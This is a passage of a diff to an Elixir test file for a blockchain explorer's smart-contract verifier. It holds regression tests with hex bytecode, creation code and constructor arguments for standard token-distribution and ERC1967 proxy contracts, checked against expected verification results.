61185c16565b925060ff8516600314806114f5575060ff85166004145b156115905760015460ff8616600090815260026020908152604080832054815163a9059cbb60e01b81526001600160a01b03918216600482015260248101899052915194169363a9059cbb93604480840194938390030190829087803b15801561155e57600080fd5b505af1158015611572573d6000803e3d6000fd5b505050506040513d602081101561158857600080fd5b506116219050565b60015460ff8616600090815260026020908152604080832054815163238a3fe160e01b81526001600160a01b03918216600482015260248101899052915194169363238a3fe193604480840194938390030190829087803b1580156115f457600080fd5b505af1158015611608573d6000803e3d6000fd5b505050506040513d602081101561161e57600080fd5b50505b60408051848152336020820152815160ff881692600080516020611b49833981519152928290030190a25050505050565b600681565b600281565b60076020526000908152604090205481565b611676611204565b6116c7576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6116d081611a5d565b50565b6001546001600160a01b031681565b6001600160a01b0381166116d0576040805162461bcd60e51b815260206004820152600f60248201526e696e76616c6964206164647265737360881b604482015290519081900360640190fd5b4290565b6000826117425750600061178f565b8282028284828161174f57fe5b041461178c5760405162461bcd60e51b8152600401808060200182810382526021815260200180611b8f6021913960400191505060405180910390fd5b90505b92915050565b60008082116117eb576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b60008284816117f657fe5b04949350505050565b600082821115611856576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60008282018381101561178c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60ff811660009081526007602052604081205481906118de906201518063ffffffff61173316565b60ff8416600090815260056020526040812054600c54929350909161191a91849161190e9163ffffffff61185c16565b9063ffffffff61185c16565b905061192f62015180610a2e8361113a61172f565b60ff851660009081526006602090815260408083205460079092529091205491945090611962908563ffffffff61185c16565b11156119995760ff84166000908152600760209081526040808320546006909252909120546119969163ffffffff6117ff16565b92505b5050919050565b60ff831660009081526004602052604081205481906119c5908563ffffffff6117ff16565b60ff86166000908152600460209081526040808320939093556007905220546119f4908463ffffffff61185c16565b60ff861660009081526007602081815260408084208590556006825290922054915211611a555760ff851660009081526004602052604090205415611a4c575060ff8416600090815260046020526040812080549190555b611a5585611afd565b949350505050565b6001600160a01b038116611aa25760405162461bcd60e51b8152600401808060200182810382526026815260200180611b696026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60ff166000908152600b60205260409020805460ff19166001179055565b3b15159056fe666f72206e6f77206f6e6c79206f776e65722063616e2063616c6c2074686973206d6574686f64a8b65b82b2ff2a955e75c1bfa6a0e92aafb764156295da77a0a4c714f3895c724f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7773656e64696e6720746f6b656e7320746f207468697320636f6e7472616374206973206e6f7420616c6c6f776564696e7374616c6c6d656e747320617265206e6f742061637469766520666f72207468697320706f6f6ca265627a7a723058208fc7fe0d6f40178495c4e655627ac8a6bc837eb89686042a07161f078a2ea04464736f6c634300050a0032c3a24b0501bd2c13a7e57f2db4369ec4c223447539fc0724a9d55ac4a06ebd4da15bc60c955c405d20d9149c709e2460f1c2d9a497496a7f46004d1772c3054cc69056f16cbaa3c616b828e333ab7d3a32310765507f8f58359e99ebb7a885f383ec6a1f0257b830b5e016457c9cf1435391bf56cc98f369a58a54fe93772465ee60d0579bcffd98e668647d59fec1ff86a7fb340ce572e844f234ae73a6918f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77405aad32e1adbac89bb7f176e338b8fc6e994ca210c9bb7bdca249b465942250cbc4e5fb02c3d1de23a9f1e014b4d2ee5aeaea9505df5e855c9210bf472495af00000000000000000000000086edd0c110d1fc7f8a5e1108623b3b1b4e3740f90000000000000000000000000df05adac0159e215111696339ad4998e5871b3d0000000000000000000000003cfe51b61e25750ab1426b0072e5d0cc5c30aafa0000000000000000000000000218b706898d234b85d2494df21eb0677eaea91800000000000000000000000086edd0c110d1fc7f8a5e1108623b3b1b4e3740f90000000000000000000000000df05adac0159e215111696339ad4998e5871b3d" - - contract_address = insert(:contract_address, contract_code: bytecode) - - :transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: contract_creation_code - ) - |> with_block(status: :ok) - - params = %{ - "contract_source_code" => contract_source_code, - "compiler_version" => "v0.5.10+commit.5a6ea5b1", - "evm_version" => "default", - "name" => "Distribution", - "optimization" => true, - "optimization_runs" => 200, - "autodetect_constructor_args" => true - } - - assert {:ok, - %{ - abi: abi, - constructor_arguments: - "00000000000000000000000086edd0c110d1fc7f8a5e1108623b3b1b4e3740f90000000000000000000000000df05adac0159e215111696339ad4998e5871b3d0000000000000000000000003cfe51b61e25750ab1426b0072e5d0cc5c30aafa0000000000000000000000000218b706898d234b85d2494df21eb0677eaea91800000000000000000000000086edd0c110d1fc7f8a5e1108623b3b1b4e3740f90000000000000000000000000df05adac0159e215111696339ad4998e5871b3d" - }} = Verifier.evaluate_authenticity(contract_address.hash, params) - - assert abi != nil - end + contract_creation_code = + "0x608060405260405162000f4038038062000f408339810160408190526200002691620004d4565b82816200005560017f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbd62000603565b60008051602062000ef9833981519152146200008157634e487b7160e01b600052600160045260246000fd5b6200008f82826000620000ff565b50620000bf905060017fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610462000603565b60008051602062000ed983398151915214620000eb57634e487b7160e01b600052600160045260246000fd5b620000f68262000170565b5050506200066c565b6200010a83620001cb565b6040516001600160a01b038416907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a26000825111806200014c5750805b156200016b576200016983836200029360201b6200026c1760201c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200019b620002c2565b604080516001600160a01b03928316815291841660208301520160405180910390a1620001c881620002fb565b50565b620001e1816200038b60201b620002981760201c565b620002495760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084015b60405180910390fd5b806200027260008051602062000ef983398151915260001b6200039560201b620002141760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b6060620002bb838360405180606001604052806027815260200162000f196027913962000398565b9392505050565b6000620002ec60008051602062000ed983398151915260001b6200039560201b620002141760201c565b546001600160a01b0316905090565b6001600160a01b038116620003625760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b606482015260840162000240565b806200027260008051602062000ed983398151915260001b6200039560201b620002141760201c565b803b15155b919050565b90565b6060620003a5846200038b565b620004025760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b606482015260840162000240565b600080856001600160a01b0316856040516200041f9190620005b0565b600060405180830381855af49150503d80600081146200045c576040519150601f19603f3d011682016040523d82523d6000602084013e62000461565b606091505b509092509050620004748282866200047e565b9695505050505050565b606083156200048f575081620002bb565b825115620004a05782518084602001fd5b8160405162461bcd60e51b8152600401620002409190620005ce565b80516001600160a01b03811681146200039057600080fd5b600080600060608486031215620004e9578283fd5b620004f484620004bc565b92506200050460208501620004bc565b60408501519092506001600160401b038082111562000521578283fd5b818601915086601f83011262000535578283fd5b8151818111156200054a576200054a62000656565b604051601f8201601f19908116603f0116810190838211818310171562000575576200057562000656565b816040528281528960208487010111156200058e578586fd5b620005a183602083016020880162000627565b80955050505050509250925092565b60008251620005c481846020870162000627565b9190910192915050565b6000602082528251806020840152620005ef81604085016020870162000627565b601f01601f19169190910160400192915050565b6000828210156200062257634e487b7160e01b81526011600452602481fd5b500390565b60005b83811015620006445781810151838201526020016200062a565b83811115620001695750506000910152565b634e487b7160e01b600052604160045260246000fd5b61085d806200067c6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106ed565b610118565b61005b610093366004610707565b610164565b3480156100a457600080fd5b506100ad6101da565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106ed565b610217565b3480156100f557600080fd5b506100ad610241565b6101066102a2565b610116610111610346565b610355565b565b610120610379565b6001600160a01b0316336001600160a01b0316141561015957610154816040518060200160405280600081525060006103ac565b610161565b6101616100fe565b50565b61016c610379565b6001600160a01b0316336001600160a01b031614156101cd576101c88383838080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250600192506103ac915050565b6101d5565b6101d56100fe565b505050565b60006101e4610379565b6001600160a01b0316336001600160a01b0316141561020c57610205610346565b9050610214565b6102146100fe565b90565b61021f610379565b6001600160a01b0316336001600160a01b03161415610159576101548161040b565b600061024b610379565b6001600160a01b0316336001600160a01b0316141561020c57610205610379565b606061029183836040518060600160405280602781526020016108016027913961045f565b9392505050565b803b15155b919050565b6102aa610379565b6001600160a01b0316336001600160a01b031614156103415760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b610116565b600061035061053a565b905090565b3660008037600080366000845af43d6000803e808015610374573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316905090565b6103b583610562565b6040516001600160a01b038416907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a26000825111806103f65750805b156101d557610405838361026c565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610434610379565b604080516001600160a01b03928316815291841660208301520160405180910390a161016181610611565b606061046a84610298565b6104c55760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610338565b600080856001600160a01b0316856040516104e09190610785565b600060405180830381855af49150503d806000811461051b576040519150601f19603f3d011682016040523d82523d6000602084013e610520565b606091505b509150915061053082828661069d565b9695505050505050565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61039d565b61056b81610298565b6105cd5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401610338565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381166106765760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b6064820152608401610338565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61036105f0565b606083156106ac575081610291565b8251156106bc5782518084602001fd5b8160405162461bcd60e51b815260040161033891906107a1565b80356001600160a01b038116811461029d57600080fd5b6000602082840312156106fe578081fd5b610291826106d6565b60008060006040848603121561071b578182fd5b610724846106d6565b9250602084013567ffffffffffffffff80821115610740578384fd5b818601915086601f830112610753578384fd5b813581811115610761578485fd5b876020828501011115610772578485fd5b6020830194508093505050509250925092565b600082516107978184602087016107d4565b9190910192915050565b60006020825282518060208401526107c08160408501602087016107d4565b601f01601f19169190910160400192915050565b60005b838110156107ef5781810151838201526020016107d7565b83811115610405575050600091015256fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122016ea36e15be10f9560025e0ec9401e2e9110cb5ec41d110b4a0e391838c1f19b64736f6c63430008020033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000" - test "another failed constructor args verification" do - contract_source_code = - "#{File.cwd!()}/test/support/fixture/smart_contract/issue_with_constructor_args.sol" - |> File.read!() - - bytecode = - "0x60806040523661001357610011610017565b005b6100115b61002761002261005e565b610096565b565b606061004e838360405180606001604052806027815260200161024c602791396100ba565b9392505050565b3b151590565b90565b60006100917f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b3660008037600080366000845af43d6000803e8080156100b5573d6000f35b3d6000fd5b6060833b61011e5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161013991906101cc565b600060405180830381855af49150503d8060008114610174576040519150601f19603f3d011682016040523d82523d6000602084013e610179565b606091505b5091509150610189828286610193565b9695505050505050565b606083156101a257508161004e565b8251156101b25782518084602001fd5b8160405162461bcd60e51b815260040161011591906101e8565b600082516101de81846020870161021b565b9190910192915050565b600060208252825180602084015261020781604085016020870161021b565b601f01601f19169190910160400192915050565b60005b8381101561023657818101518382015260200161021e565b83811115610245576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212209b8470f06e8a3960c912103fc2be177edaad69584ee3c7d2809ee737e79408e764736f6c63430008020033" - - contract_creation_code = - "0x6080604052604051610772380380610772833981016040819052610022916102f7565b61004d60017f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbd61040f565b60008051602061072b8339815191521461007757634e487b7160e01b600052600160045260246000fd5b6100838282600061008a565b5050610474565b610093836100f4565b6040516001600160a01b038416907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a26000825111806100d45750805b156100ef576100ed83836101b460201b6100291760201c565b505b505050565b610107816101e060201b6100551760201c565b61016e5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084015b60405180910390fd5b8061019360008051602061072b83398151915260001b6101e660201b61005b1760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b60606101d9838360405180606001604052806027815260200161074b602791396101e9565b9392505050565b3b151590565b90565b6060833b6102485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610165565b600080856001600160a01b03168560405161026391906103c0565b600060405180830381855af49150503d806000811461029e576040519150601f19603f3d011682016040523d82523d6000602084013e6102a3565b606091505b5090925090506102b48282866102be565b9695505050505050565b606083156102cd5750816101d9565b8251156102dd5782518084602001fd5b8160405162461bcd60e51b815260040161016591906103dc565b60008060408385031215610309578182fd5b82516001600160a01b038116811461031f578283fd5b60208401519092506001600160401b038082111561033b578283fd5b818501915085601f83011261034e578283fd5b8151818111156103605761036061045e565b604051601f8201601f19908116603f011681019083821181831017156103885761038861045e565b816040528281528860208487010111156103a0578586fd5b6103b1836020830160208801610432565b80955050505050509250929050565b600082516103d2818460208701610432565b9190910192915050565b60006020825282518060208401526103fb816040850160208701610432565b601f01601f19169190910160400192915050565b60008282101561042d57634e487b7160e01b81526011600452602481fd5b500390565b60005b8381101561044d578181015183820152602001610435565b838111156100ed5750506000910152565b634e487b7160e01b600052604160045260246000fd5b6102a8806104836000396000f3fe60806040523661001357610011610017565b005b6100115b61002761002261005e565b610096565b565b606061004e838360405180606001604052806027815260200161024c602791396100ba565b9392505050565b3b151590565b90565b60006100917f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b3660008037600080366000845af43d6000803e8080156100b5573d6000f35b3d6000fd5b6060833b61011e5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161013991906101cc565b600060405180830381855af49150503d8060008114610174576040519150601f19603f3d011682016040523d82523d6000602084013e610179565b606091505b5091509150610189828286610193565b9695505050505050565b606083156101a257508161004e565b8251156101b25782518084602001fd5b8160405162461bcd60e51b815260040161011591906101e8565b600082516101de81846020870161021b565b9190910192915050565b600060208252825180602084015261020781604085016020870161021b565b601f01601f19169190910160400192915050565b60005b8381101561023657818101518382015260200161021e565b83811115610245576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212209b8470f06e8a3960c912103fc2be177edaad69584ee3c7d2809ee737e79408e764736f6c63430008020033360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564000000000000000000000000569e7b559a3af9b2350b8db2afd8977b8bd0517200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000024c4d66de8000000000000000000000000217373ab5e0082b2ce622169672eca6f4462319c00000000000000000000000000000000000000000000000000000000" - - contract_address = insert(:contract_address, contract_code: bytecode) - - :transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: contract_creation_code - ) - |> with_block(status: :ok) - - params = %{ - "contract_source_code" => contract_source_code, - "compiler_version" => "v0.8.2+commit.661d1103", - "evm_version" => "default", - "name" => "ERC1967Proxy", - "optimization" => true, - "optimization_runs" => 200, - "autodetect_constructor_args" => true - } - - assert {:ok, - %{ - abi: abi, - constructor_arguments: - "000000000000000000000000569e7b559a3af9b2350b8db2afd8977b8bd0517200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000024c4d66de8000000000000000000000000217373ab5e0082b2ce622169672eca6f4462319c00000000000000000000000000000000000000000000000000000000" - }} = Verifier.evaluate_authenticity(contract_address.hash, params) - - assert abi != nil - end - end + contract_address = insert(:contract_address, contract_code: bytecode) - describe "another regression tests" do - test "accepting correct constructor args" do - contract_source_code = - "#{File.cwd!()}/test/support/fixture/smart_contract/issue_5114.sol" - |> File.read!() - - bytecode = - "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106ed565b610118565b61005b610093366004610707565b610164565b3480156100a457600080fd5b506100ad6101da565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106ed565b610217565b3480156100f557600080fd5b506100ad610241565b6101066102a2565b610116610111610346565b610355565b565b610120610379565b6001600160a01b0316336001600160a01b0316141561015957610154816040518060200160405280600081525060006103ac565b610161565b6101616100fe565b50565b61016c610379565b6001600160a01b0316336001600160a01b031614156101cd576101c88383838080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250600192506103ac915050565b6101d5565b6101d56100fe565b505050565b60006101e4610379565b6001600160a01b0316336001600160a01b0316141561020c57610205610346565b9050610214565b6102146100fe565b90565b61021f610379565b6001600160a01b0316336001600160a01b03161415610159576101548161040b565b600061024b610379565b6001600160a01b0316336001600160a01b0316141561020c57610205610379565b606061029183836040518060600160405280602781526020016108016027913961045f565b9392505050565b803b15155b919050565b6102aa610379565b6001600160a01b0316336001600160a01b031614156103415760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b610116565b600061035061053a565b905090565b3660008037600080366000845af43d6000803e808015610374573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316905090565b6103b583610562565b6040516001600160a01b038416907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a26000825111806103f65750805b156101d557610405838361026c565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610434610379565b604080516001600160a01b03928316815291841660208301520160405180910390a161016181610611565b606061046a84610298565b6104c55760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610338565b600080856001600160a01b0316856040516104e09190610785565b600060405180830381855af49150503d806000811461051b576040519150601f19603f3d011682016040523d82523d6000602084013e610520565b606091505b509150915061053082828661069d565b9695505050505050565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61039d565b61056b81610298565b6105cd5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401610338565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381166106765760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b6064820152608401610338565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61036105f0565b606083156106ac575081610291565b8251156106bc5782518084602001fd5b8160405162461bcd60e51b815260040161033891906107a1565b80356001600160a01b038116811461029d57600080fd5b6000602082840312156106fe578081fd5b610291826106d6565b60008060006040848603121561071b578182fd5b610724846106d6565b9250602084013567ffffffffffffffff80821115610740578384fd5b818601915086601f830112610753578384fd5b813581811115610761578485fd5b876020828501011115610772578485fd5b6020830194508093505050509250925092565b600082516107978184602087016107d4565b9190910192915050565b60006020825282518060208401526107c08160408501602087016107d4565b601f01601f19169190910160400192915050565b60005b838110156107ef5781810151838201526020016107d7565b83811115610405575050600091015256fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122016ea36e15be10f9560025e0ec9401e2e9110cb5ec41d110b4a0e391838c1f19b64736f6c63430008020033" - - contract_creation_code = - "0x608060405260405162000f4038038062000f408339810160408190526200002691620004d4565b82816200005560017f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbd62000603565b60008051602062000ef9833981519152146200008157634e487b7160e01b600052600160045260246000fd5b6200008f82826000620000ff565b50620000bf905060017fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610462000603565b60008051602062000ed983398151915214620000eb57634e487b7160e01b600052600160045260246000fd5b620000f68262000170565b5050506200066c565b6200010a83620001cb565b6040516001600160a01b038416907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a26000825111806200014c5750805b156200016b576200016983836200029360201b6200026c1760201c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200019b620002c2565b604080516001600160a01b03928316815291841660208301520160405180910390a1620001c881620002fb565b50565b620001e1816200038b60201b620002981760201c565b620002495760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084015b60405180910390fd5b806200027260008051602062000ef983398151915260001b6200039560201b620002141760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b6060620002bb838360405180606001604052806027815260200162000f196027913962000398565b9392505050565b6000620002ec60008051602062000ed983398151915260001b6200039560201b620002141760201c565b546001600160a01b0316905090565b6001600160a01b038116620003625760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b606482015260840162000240565b806200027260008051602062000ed983398151915260001b6200039560201b620002141760201c565b803b15155b919050565b90565b6060620003a5846200038b565b620004025760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b606482015260840162000240565b600080856001600160a01b0316856040516200041f9190620005b0565b600060405180830381855af49150503d80600081146200045c576040519150601f19603f3d011682016040523d82523d6000602084013e62000461565b606091505b509092509050620004748282866200047e565b9695505050505050565b606083156200048f575081620002bb565b825115620004a05782518084602001fd5b8160405162461bcd60e51b8152600401620002409190620005ce565b80516001600160a01b03811681146200039057600080fd5b600080600060608486031215620004e9578283fd5b620004f484620004bc565b92506200050460208501620004bc565b60408501519092506001600160401b038082111562000521578283fd5b818601915086601f83011262000535578283fd5b8151818111156200054a576200054a62000656565b604051601f8201601f19908116603f0116810190838211818310171562000575576200057562000656565b816040528281528960208487010111156200058e578586fd5b620005a183602083016020880162000627565b80955050505050509250925092565b60008251620005c481846020870162000627565b9190910192915050565b6000602082528251806020840152620005ef81604085016020870162000627565b601f01601f19169190910160400192915050565b6000828210156200062257634e487b7160e01b81526011600452602481fd5b500390565b60005b83811015620006445781810151838201526020016200062a565b83811115620001695750506000910152565b634e487b7160e01b600052604160045260246000fd5b61085d806200067c6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106ed565b610118565b61005b610093366004610707565b610164565b3480156100a457600080fd5b506100ad6101da565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106ed565b610217565b3480156100f557600080fd5b506100ad610241565b6101066102a2565b610116610111610346565b610355565b565b610120610379565b6001600160a01b0316336001600160a01b0316141561015957610154816040518060200160405280600081525060006103ac565b610161565b6101616100fe565b50565b61016c610379565b6001600160a01b0316336001600160a01b031614156101cd576101c88383838080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250600192506103ac915050565b6101d5565b6101d56100fe565b505050565b60006101e4610379565b6001600160a01b0316336001600160a01b0316141561020c57610205610346565b9050610214565b6102146100fe565b90565b61021f610379565b6001600160a01b0316336001600160a01b03161415610159576101548161040b565b600061024b610379565b6001600160a01b0316336001600160a01b0316141561020c57610205610379565b606061029183836040518060600160405280602781526020016108016027913961045f565b9392505050565b803b15155b919050565b6102aa610379565b6001600160a01b0316336001600160a01b031614156103415760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b610116565b600061035061053a565b905090565b3660008037600080366000845af43d6000803e808015610374573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316905090565b6103b583610562565b6040516001600160a01b038416907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a26000825111806103f65750805b156101d557610405838361026c565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610434610379565b604080516001600160a01b03928316815291841660208301520160405180910390a161016181610611565b606061046a84610298565b6104c55760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610338565b600080856001600160a01b0316856040516104e09190610785565b600060405180830381855af49150503d806000811461051b576040519150601f19603f3d011682016040523d82523d6000602084013e610520565b606091505b509150915061053082828661069d565b9695505050505050565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61039d565b61056b81610298565b6105cd5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401610338565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381166106765760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b6064820152608401610338565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61036105f0565b606083156106ac575081610291565b8251156106bc5782518084602001fd5b8160405162461bcd60e51b815260040161033891906107a1565b80356001600160a01b038116811461029d57600080fd5b6000602082840312156106fe578081fd5b610291826106d6565b60008060006040848603121561071b578182fd5b610724846106d6565b9250602084013567ffffffffffffffff80821115610740578384fd5b818601915086601f830112610753578384fd5b813581811115610761578485fd5b876020828501011115610772578485fd5b6020830194508093505050509250925092565b600082516107978184602087016107d4565b9190910192915050565b60006020825282518060208401526107c08160408501602087016107d4565b601f01601f19169190910160400192915050565b60005b838110156107ef5781810151838201526020016107d7565b83811115610405575050600091015256fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122016ea36e15be10f9560025e0ec9401e2e9110cb5ec41d110b4a0e391838c1f19b64736f6c63430008020033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000" - - contract_address = 